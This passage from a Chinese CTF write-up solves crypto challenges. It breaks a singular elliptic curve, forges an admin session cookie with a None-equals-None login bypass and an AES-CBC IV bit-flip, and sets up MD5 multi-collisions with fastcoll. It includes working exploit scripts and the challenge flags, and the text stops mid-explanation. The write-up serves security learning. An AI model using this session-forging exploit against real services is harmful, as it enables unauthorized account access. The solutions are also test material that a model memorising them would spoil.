src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3242\"  sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>PolarisCTF{Y0u_4r3_th3_n3xt_P0lar1s_St4r}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Crypto<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">ECC<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-232-1024x460.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"460\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-232-1024x460.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3243\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-233.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"763\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-233.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3244\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>\u5947\u5f02\u692d\u5706\u66f2\u7ebf \u5c16\u70b9 \u964d\u9636\u540c\u6784<\/p>\n\n\n\n<p>\u9898\u76ee\u7ed9\u5b9a\u7684\u692d\u5706\u66f2\u7ebf\u52a0\u6cd5\u548c\u500d\u70b9\u516c\u5f0f\u4e2d a=0\uff0c\u5bf9\u5e94\u66f2\u7ebf\u65b9\u7a0b\u4e3a\uff1a<br>$$<br>y^2 + cy equiv x^3 + bx^2 + dx + e pmod p<br>$$<\/p>\n\n\n\n<p>$$<br>\u5bf9\u5de6\u4fa7\u8fdb\u884c\u914d\u65b9\uff0c\u4ee4 Y = y + frac{c}{2} pmod p\uff0c\u65b9\u7a0b\u8f6c\u5316\u4e3a\u77ed Weierstrass \u5f62\u5f0f\uff1a<br>$$<\/p>\n\n\n\n<p>$$<br>Y^2 equiv x^3 + bx^2 + dx + (e + frac{c^2}{4}) pmod p<br>$$<\/p>\n\n\n\n<p>\u68c0\u67e5\u53f3\u4fa7\u591a\u9879\u5f0f f(x)\u3002\u5982\u679c\u5b83\u5b58\u5728\u4e09\u91cd\u6839 r<br>$$<br>\u5373 f(x) = (x-r)^3<br>$$<br>\u5219\u8be5\u66f2\u7ebf\u4e3a\u5e26\u5c16\u70b9\u7684\u5947\u5f02\u66f2\u7ebf\u3002\u6839\u636e<br>$$<br>(x-r)^3 = x^3 &#8211; 3rx^2 + 3r^2x &#8211; r^3<br>$$<br>\u53ef\u4ee5\u76f4\u63a5\u6c42\u51fa\u6839<br>$$<br>r equiv -b cdot 3^{-1} pmod p<br>$$<br>\u5bf9\u4e8e\u5e26\u5c16\u70b9\u7684\u5947\u5f02\u66f2\u7ebf\uff0c\u7531\u4e8e\u5176\u975e\u5947\u5f02\u70b9\u7fa4\u540c\u6784\u4e8e\u6709\u9650\u57df\u7684\u52a0\u6cd5\u7fa4<br>$$<br>(mathbb{F}_p, +)<br>$$<br>\u5e38\u89c4\u7684 ECDLP \u88ab\u5f7b\u5e95\u7834\u574f\u3002\u540c\u6784\u6620\u5c04\u6620\u5c04\u516c\u5f0f\u4e3a\uff1a<br>$$<br>phi(x, y) = frac{x &#8211; r}{y + c\/2} pmod p<br>$$<br>\u5728\u52a0\u6cd5\u7fa4\u4e2d\uff0cP = mG \u7b49\u4ef7\u4e8e<br>$$<br>phi(P) equiv m cdot phi(G) pmod p<br>$$<br>\u56e0\u6b64\uff0c\u8ba1\u7b97<br>$$<br>phi(P) \u4e0e phi(G) \u540e<br>$$<br>\u76f4\u63a5\u5728\u6a21 p\u4e0b\u6c42\u9006\u5373\u53ef\u5f97\u5230\u79c1\u94a5 m\uff1a<br>$$<br>m equiv phi(P) cdot phi(G)^{-1} pmod p<br>$$<br>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import inverse, long_to_bytes\n\np = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649\nb = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493\nc = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760\n\nG = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)\nP = (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)\n\nc_inv2 = (c * inverse(2, p)) % p\nr = (-b * inverse(3, p)) % p\n\ndef phi(pt):\n    x, y = pt\n    X_num = (x - r) % p\n    Y_den = (y + c_inv2) % p\n    return (X_num * inverse(Y_den, p)) % p\n\nt_G = phi(G)\nt_P = phi(P)\n\nm = (t_P * inverse(t_G, p)) % p\nprint(long_to_bytes(m).decode('utf-8'))<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-234-1024x78.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"78\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-234-1024x78.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3245\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ez_login<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-235.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"725\" height=\"315\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-235.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3246\"  sizes=\"auto, (max-width: 725px) 100vw, 725px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u6e90\u7801\u5ba1\u8ba1\u4ee3\u7801<\/p>\n\n\n\n<p>None == None \u7ed5\u8fc7<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-236.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"545\" height=\"105\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-236.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3247\"  sizes=\"auto, (max-width: 545px) 100vw, 545px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>USERS \u5b57\u5178\u521d\u59cb\u53ea\u6709 admin\u3002\u5f53\u6211\u4eec\u4f20\u5165\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u7528\u6237\u540d\uff08\u5982 bdmin\uff09\uff0cUSERS.get('bdmin') \u8fd4\u56de None\u3002\u540c\u65f6\uff0c\u5982\u679c\u6211\u4eec\u5728 POST \u8bf7\u6c42\u4e2d\u6545\u610f\u4e0d\u4f20 password \u5b57\u6bb5\uff0cpw \u4e5f\u4f1a\u662f None\u3002\u5224\u65ad\u6761\u4ef6\u53d8\u4e3a None == None\uff0c\u6821\u9a8c\u901a\u8fc7\uff0c\u7cfb\u7edf\u4f1a\u4e3a\u6211\u4eec\u4e0b\u53d1 user=bdmin \u7684\u5408\u6cd5 Session\u3002<\/code><\/pre>\n\n\n\n<p>AES-CBC \u5b57\u8282\u7ffb\u8f6c\u653b\u51fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-379.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"810\" height=\"391\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-379.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3392\"  sizes=\"auto, (max-width: 810px) 100vw, 810px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Session \u76f4\u63a5\u7531 IV + \u5bc6\u6587 \u62fc\u63a5\u800c\u6210\uff0c\u6ca1\u6709\u4efb\u4f55 MAC\uff08\u5982 HMAC\uff09\u8fdb\u884c\u5b8c\u6574\u6027\u6821\u9a8c\u3002\u5728 AES-CBC \u89e3\u5bc6\u6a21\u5f0f\u4e0b\uff0c\u89e3\u5bc6\u7b2c\u4e00\u4e2a\u5757\u65f6\uff0c\u5bc6\u6587\u89e3\u5bc6\u540e\u7684\u4e2d\u95f4\u503c\u4f1a\u4e0e IV \u8fdb\u884c\u5f02\u6216\u5f97\u5230\u660e\u6587\u3002\n\u7531\u4e8e\u6211\u4eec\u53ef\u4ee5\u63a7\u5236 IV\uff0c\u4e14\u5df2\u77e5\u660e\u6587\u7ed3\u6784\u4e3a user=bdmin\uff0c\u53ea\u9700\u7be1\u6539 IV \u7684\u7b2c 6 \u4e2a\u5b57\u8282\uff08\u7d22\u5f15 5\uff09\uff0c\u5c06\u5176\u5f02\u6216 'b' \u518d\u5f02\u6216 'a'\uff0c\u5c31\u80fd\u5728\u670d\u52a1\u7aef\u89e3\u5bc6\u65f6\u5c06 bdmin \u7ffb\u8f6c\u6210 admin\u3002<\/code><\/pre>\n\n\n\n<p>\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6784\u9020 username=bdmin \u4e14\u65e0 password \u53c2\u6570\u7684\u8bf7\u6c42\uff0c\u9a97\u53d6\u6709\u6548 Token\u3002\n\u5c06 Token \u89e3\u7801\u4e3a\u5b57\u8282\uff0c\u5206\u79bb\u524d 16 \u5b57\u8282\u7684 IV \u548c\u540e\u7eed\u5bc6\u6587\u3002\n\u5bf9 IV \u7684 index=5 \u4f4d\u7f6e\u6267\u884c\u5f02\u6216\uff1aIV&#91;5] ^ ord('b') ^ ord('a')\u3002\n\u91cd\u65b0\u62fc\u63a5\u8f6c\u4e3a hex\uff0c\u5e26\u4e0a\u65b0 Cookie \u8bf7\u6c42\u9996\u9875\u5373\u53ef\u62ff\u5230 flag\u3002<\/code><\/pre>\n\n\n\n<p>\u624b\u52a8<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-237-1024x705.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"705\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-237-1024x705.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3248\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-238-1024x571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-238-1024x571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3249\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-239-1024x425.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"425\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-239-1024x425.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3250\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ed7db19af55622792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7ffb\u8f6c\u540e\u7684\u65b0 Cookie\ned7db19af55522792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050\n\u539f token \u524d 16 \u5b57\u8282\u662f IV\uff0c\u7b2c 6 \u4e2a\u5b57\u8282\u4e3a 56\u3002\u628a\u5b83\u8ddf b \u548c a \u8fdb\u884c\u5f02\u6216\uff1a0x56 ^ ord('b') ^ ord('a')\uff0c\u7ed3\u679c\u6b63\u597d\u53d8\u6210\u4e86 55\u3002)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-240-1024x561.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"561\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-240-1024x561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3251\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u7ffb\u8f6c\u5c31\u884c\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-241-1024x419.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"419\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-241-1024x419.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3252\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport re\n\nurl = \"http:\/\/nc1.ctfplus.cn:34025\"\n\ndef exploit():\n    session = requests.Session()\n    session.post(f\"{url}\/login\", data={\"username\": \"bdmin\"}, allow_redirects=False)\n    cookie = session.cookies.get(\"session\")\n\n    if not cookie:\n        return\n\n    token_bytes = bytes.fromhex(cookie)\n    iv = bytearray(token_bytes&#91;:16])\n    ct = token_bytes&#91;16:]\n\n    iv&#91;5] = iv&#91;5] ^ ord('b') ^ ord('a')\n\n    forged_token = (iv + ct).hex()\n\n    final_response = requests.get(f\"{url}\/\", cookies={\"session\": forged_token})\n\n    match = re.search(r\"xmctf{.*?}\", final_response.text, re.IGNORECASE)\n    if match:\n        print(match.group(0))\n\nif __name__ == \"__main__\":\n    exploit()<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code> xmctf{c8a3a4e9-fb08-47d1-acf7-77cc5c8d967e}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">truck<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-242-1024x553.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"553\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-242-1024x553.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3253\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u9644\u4ef6\u662f\u4e00\u4e2aMD5\u78b0\u649e\u7684\u9898\u76ee<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-243.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"763\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-243.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3254\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9898\u76ee\u7ed9\u51fa\u4e86\u4e00\u6bb5\u57fa\u4e8e MD5 \u54c8\u5e0c\u78b0\u649e\u7684\u68c0\u9a8c\u903b\u8f91\uff0c\u89c4\u5219\u5982\u4e0b\n\u5faa\u73af 10 \u8f6e\uff1a\u6bcf\u8f6e\u8981\u6c42\u8f93\u5165 9 \u4e2a\u4e0d\u540c\u7684\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\uff08A \u5230 I\uff09\u3002\n\u591a\u7ea7\u78b0\u649e\u9650\u5236\uff1a\n\u7b2c\u4e00\u5c42\uff1a\u8981\u6c42 MD5(A) == MD5(B) == MD5(C)\uff0c\u8bbe\u5176\u6458\u8981\u7ed3\u679c\u4e3a ha\u3002\n\u7b2c\u4e8c\u5c42\uff1a\u8981\u6c42\u62fc\u63a5\u524d\u7f00\u540e\u78b0\u649e\uff0cMD5(ha + D) == MD5(ha + E) == MD5(ha + F)\uff0c\u8bbe\u7ed3\u679c\u4e3a hd\u3002\n\u7b2c\u4e09\u5c42\uff1a\u7ee7\u7eed\u62fc\u63a5\u524d\u7f00\uff0cMD5(hd + G) == MD5(hd + H) == MD5(hd + I)\u3002\n\u5168\u5c40\u53bb\u91cd\uff1a\u8fd9 10 \u8f6e\u4e2d\u63d0\u4ea4\u7684\u6240\u6709 90 \u4e2a\u8f93\u5165\uff0c\u5fc5\u987b\u5168\u5c40\u552f\u4e00\uff08assert not any(x in S for x in cur)\uff09\u3002<\/code><\/pre>\n\n\n\n<p>MD5 \u591a\u91cd\u78b0\u649e<\/p>\n\n\n\n<p>\u76f4\u63a5\u7528 fastcoll\u5c31\u884c<\/p>\n\n\n\n<p>10\u8f6e \u00d7 \u6bcf\u8f6e3\u4e2a = 30 \u4e2a\u4e0d\u91cd\u590d\u7684\u8f93\u5165\u300232 \u4e2a payload \u521a\u597d\u6ee1\u8db3\u9700\u6c42\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9898\u76ee\u7b2c\u4e8c\u3001\u4e09\u5c42\u7684\u8f93\u5165\u524d\u7f00\u662f\u524d\u4e00\u6b21\u7684 MD5 \u6458\u8981\u7ed3\u679c\uff0816 \u5b57\u8282\uff09\u3002\u4e3a\u4e86\u8ba9 fastcoll \u6b63\u5e38\u5de5\u4f5c\u4e14\u4e0d\u5f71\u54cd\u5185\u90e8\u7684 padding \u72b6\u6001\uff0c\u6211\u4eec\u9700\u8981\u628a\u8fd9 16 \u5b57\u8282\u7684\u524d\u7f00\u8865\u9f50\u5230\u5b8c\u6574\u7684 64 \u5b57\u8282\u5757\u3002\n\u505a\u6cd5\u5f88\u7b80\u5355\uff1a\u7528 48 \u5b57\u8282\u7684 x00 \u586b\u5145\u3002\u5373\u4ee4 \u521a\u597d\u662f 64 \u5b57\u8282\uff0c\u53ef\u4ee5\u76f4\u63a5\u9001\u8fdb fastcoll \u8dd1\u78b0\u649e\u3002<\/code><\/pre>\n\n\n\n<p>fastcoll.exe\uff0c\u4e0e exp \u653e\u5728\u540c\u4e00\u76ee\u5f55\u4e0b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7b2c\u4e00\u7ec4 (A,B,C)\uff1a\u76f4\u63a5\u7ed9 64 \u5b57\u8282\u7684 x00 \u5f53\u521d\u59cb\u524d\u7f00\uff0c\u8fde\u7eed\u8dd1 5 \u6b21 